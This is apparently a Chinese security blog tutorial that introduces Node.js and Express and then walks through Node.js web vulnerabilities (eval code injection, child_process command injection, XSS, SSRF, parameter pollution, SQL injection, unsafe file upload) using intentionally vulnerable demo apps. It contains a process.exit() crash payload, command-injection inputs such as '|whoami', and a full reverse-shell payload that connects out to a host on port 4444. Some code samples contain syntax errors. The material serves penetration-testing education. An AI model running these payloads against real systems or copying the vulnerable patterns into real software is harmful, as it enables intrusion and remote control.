0x01 基本概念

简介

Node.js是一个基于Chrome V8引擎的JavaScript运行环境。Node.js使用了一个事件驱动、非阻塞式I/O的模型。

Node是一个让JavaScript运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。实质是对Chrome V8引擎进行了封装。

Node对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好。V8引擎执行Javascript的速度非常快,性能非常好。Node是一个基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用。Node 使用事件驱动, 非阻塞I/O 模型而得以轻量和高效,非常适合在分布式设备上运行数据密集型的实时应用。

环境安装、基础语法与特性

参考:https://www.runoob.com/nodejs/nodejs-tutorial.html

第一个应用

Node.js应用由以下三部分组成:

  1. 引入required模块:我们可以使用require指令来载入Node.js模块。
  2. 创建服务器:服务器可以监听客户端的请求,类似于Apache、Nginx等HTTP服务器。
  3. 接收请求与响应请求:服务器很容易创建,客户端可以使用浏览器或终端发送HTTP请求,服务器接收请求后返回响应数据。

直接看下代码实现,test.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 引入required模块
var http = require('http');

// 创建服务器
http.createServer(function (request, response) {

// 发送 HTTP 头部
// HTTP 状态值: 200 : OK
// 内容类型: text/plain
response.writeHead(200, {'Content-Type': 'text/plain'});

// 发送响应数据 "Mi1k7ea"
response.end('Mi1k7ea\n');
}).listen(666);

// 终端打印如下信息
console.log('Server running at http://127.0.0.1:666/');

直接用node命令运行即可:

Express框架

Express是一个简洁而灵活的Node.js Web应用框架,提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。

使用Express可以快速地搭建一个完整功能的网站。

Express框架核心特性:

  • 可以设置中间件来响应HTTP请求。
  • 定义了路由表用于执行不同的HTTP请求动作。
  • 可以通过向模板传递参数来动态渲染HTML页面。

Express的安装:

1
2
3
4
npm install express --save
npm install body-parser --save
npm install cookie-parser --save
npm install multer --save

以上命令会将Express框架以及几个重要的模块一起安装在node_modules目录中,node_modules目录下会自动创建express目录。几个重要的模块介绍如下:

  • body-parser - node.js 中间件,用于处理 JSON, Raw, Text 和 URL 编码的数据。
  • cookie-parser - 这就是一个解析Cookie的工具。通过req.cookies可以取到传过来的cookie,并把它们转成对象。
  • multer - node.js 中间件,用于处理 enctype=”multipart/form-data”(设置表单的MIME编码)的表单数据。

安装完后,我们可以查看下express使用的版本号:

1
2
3
E:\>npm list express
E:\
`-- express@4.17.1

Demo应用,express_demo.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var express = require('express');
var app = express();

app.get('/', function (req, res) {
res.send('Express Test');
})

var server = app.listen(8888, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)

})

接着用命令node express_demo.js运行即可访问。

在页面中访问,可以看到响应报文中有个X-Powered-By头,其值为Express,也就是说,在日常的抓包中看到该头字段即可知道是使用的Node.js的Express框架:

0x02 Node.js安全

Node.js中的Web安全问题和传统的Web安全问题都是一样的,只是代码实现上有语法的差异而已。

代码注入

Node.js同样存在代码注入问题,需要重点关注eval、setInteval、setTimeout、new Function等函数的参数是否外部可控。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var express = require('express');
var app = express();

var port = 8181;

app.get('/', function (req, res) {
var a = eval(req.query.a);
var b = eval(req.query.b);
var r = a + b;
res.send('Sum a+b=' + r);
})

console.log("App is listening on port: " + port);
app.listen(port);

强制应用退出的payload如下,执行之后Express服务就终止了:

1
?a=1&b=process.exit()

再深入利用,反弹shell的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
function rev(host,port){
var net = require('net');
var cp  = require('child_process');
var cmd = cp.spawn('cmd.exe', []);
var client = new net.Socket();
client.connect(port, host, function(){
client.write('Connected\r\n'); client.pipe(cmd.stdin); cmd.stdout.pipe(client);
cmd.stderr.pipe(client);
client.on( 'exit'function(code,signal){ client.end('Disconnected\r\n'); } );
client.on( 'error',function(e){ setTimeout( rev(host,port), 5000); })
});
};
rev('192.168.10.137'4444);

直接注入访问:

在Kali中成功拿到反弹shell:

命令注入

Node.js同样存在命名注入漏洞,需重点关注模块child_process的函数,因为这个模块包含了创建一个新进程来执行系统命令的功能。

示例代码如下,直接使用外部参数拼接ping命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var express = require('express');
var cmd = require('child_process');
var app = express();

var port = 8181;

app.get('/', function (req, res) {
cmd.exec("ping -n 4 " + req.query.ip,function(err,data){
res.send('Ping Results: <pre>' + data + '</pre>');
})
})

console.log("App is listening on port: " + port);
app.listen(port);

正常访问:

尝试进行命令注入:

1
2
?ip=|whoami
?ip=127.0.0.1||whoami

XSS

Node.js本身没有XSS防护机制,也不像Java那样拥有强大的过滤器来实现过滤用户的有害输入从而防御XSS。若是未经过滤直接显示外部的输入则导致XSS。但是可以通过设置HTTP头中加入X-XSS-Protection在浏览器端缓解XSS。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
var express = require('express');
var app = express();

var port = 8181;

app.get('/', function (req, res) {
res.send('Hello, ' + req.query.name);
})

console.log("App is listening on port: " + port);
app.listen(port);

直接注入XSS payload即可:

SSRF

Node.js的needle模块可发起GET/POST等HTTP请求,当其参数外部可控时可造成SSRF漏洞。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var express = require('express');
var app = express();

var needle = require('needle');

var port = 8181;

app.get('/', function (req, res) {
var url = req.query['url'];
needle.get(url, function(error, response) {
if (!error && response.statusCode == 200)
res.send(response.body);
});
console.log('new request:' + url);
})

console.log("App is listening on port: " + port);
app.listen(port);

HTTP参数污染

Node.js有一个奇怪的特性,即允许一个参数有多个值。假设有一个参数叫做name,我们给这个参数传递了多个值,最终name参数将包含这两个值,两个值之间用逗号隔开。该特性可用来进行参数解析漏洞的利用。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
var express = require('express');
var app = express();

var port = 8181;

app.get('/', function (req, res) {
var name = req.query.name;
res.send("Name: " + name);
});

console.log("App is listening on port: " + port);
app.listen(port);

SQL注入

Node.js的网站注入漏洞很少。Node.js通常与mysql/mongodb搭配使用,因为sql注入的漏洞危害很高并且存在多年了,一些新出现的语言如openresty+lua/node.js等天生会规避掉这种安全问题。它们通常都采用了占位符或者叫参数化查询来与数据库交互。node.js 原生的与数据库交互代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
var mysql = require ('mysql') ; 
var connection = mysql .createConnection(
{ host: 'localhost',
user: 'root',
password: 'root',
port: '3306',
database: 'admin', }) ;
connection.connect( );
var sql = 'select * from admin where id =?'';
Var param=[1];
connection.query( sql,param);
connection.end( );

Node.js现在已经有了orm框架(比如Sequelize),因此注入漏洞就跟少了。但是如果程序员写代码时不小心用了字符串拼接,还是会造成sql注入的。如下:

1
select * from admin  where id=$id

文件上传

Node.js的网站由于特有的路由规则,它的的上传问题虽然不像php、jsp、asp等脚本语言,若攻击者上传若未经过滤的脚本,便可轻松的拿到shel。但是代码中若存在路径跳转漏洞,攻击者可以直接将shell脚本木马上传到/etc/rc.d等启动项下面,或者是直接上传相应的index.js文件覆盖到第三方模块express等目录下,通过精心构造的js文件也能实现命令执行的目的。

文件上传示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var express = require('express');
var app = express();
var fs = require('fs');
var multer = require('multer');
app.use(multer({ dest: 'E:/'}).array('image'));
app.use(express.static('public'));

var port = 8181;

app.post('/', function (req, res) {
console.log(req.files[0]); // 上传的文件信息
var des_file = __dirname + '/' + req.files[0].originalname;
fs.readFile( req.files[0].path, function (err, data) {
fs.writeFile(des_file, data, function (err) {
if( err ){
console.log( err );
}else{
response = {
message:'File uploaded successfully',
filename:req.files[0].originalname
};
}
console.log( response );
res.end( JSON.stringify( response ) );
});
});
});

console.log("App is listening on port: " + port);
app.listen(port);

uploadfile.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>File</title>
</head>
<body>
Upload File: <br>
<form action="http://127.0.0.1:8181/" method="post" enctype="multipart/form-data">
<input type="file" name="image" size="50" />
<br>
<input type="submit" value="upload" />
</form>
</body>
</html>

上传文件示例:

NPM

任何人都可以创建模块发布到npm上,供别人调用,虽然这为开发者带来了一定的便利性,但必然隐藏着安全隐患,假如一不小心使用了不安全的第三方模块后果可想而知了,比如前段时间闹得沸沸扬扬的node-serialize模块所引起的远程代码执行漏洞(cve-2017-5914)。现在有一款NSP 工具可以帮助检查第三方模块现有漏洞。

1
2
npm i nsp –g //安装nsp
nsp check 要检查的package.json //检查是否有漏洞

反序列化漏洞

可参考:《node-serialize反序列化漏洞》

0x03 工具

参考:https://github.com/ajinabraham/NodeJsScan

0x04 参考

浅谈Node.js Web的安全问题

渗透测试 Node.js 应用

实战教你如何利用NodeJS 漏洞?

An Introduction to Penetration Testing Node.js Applications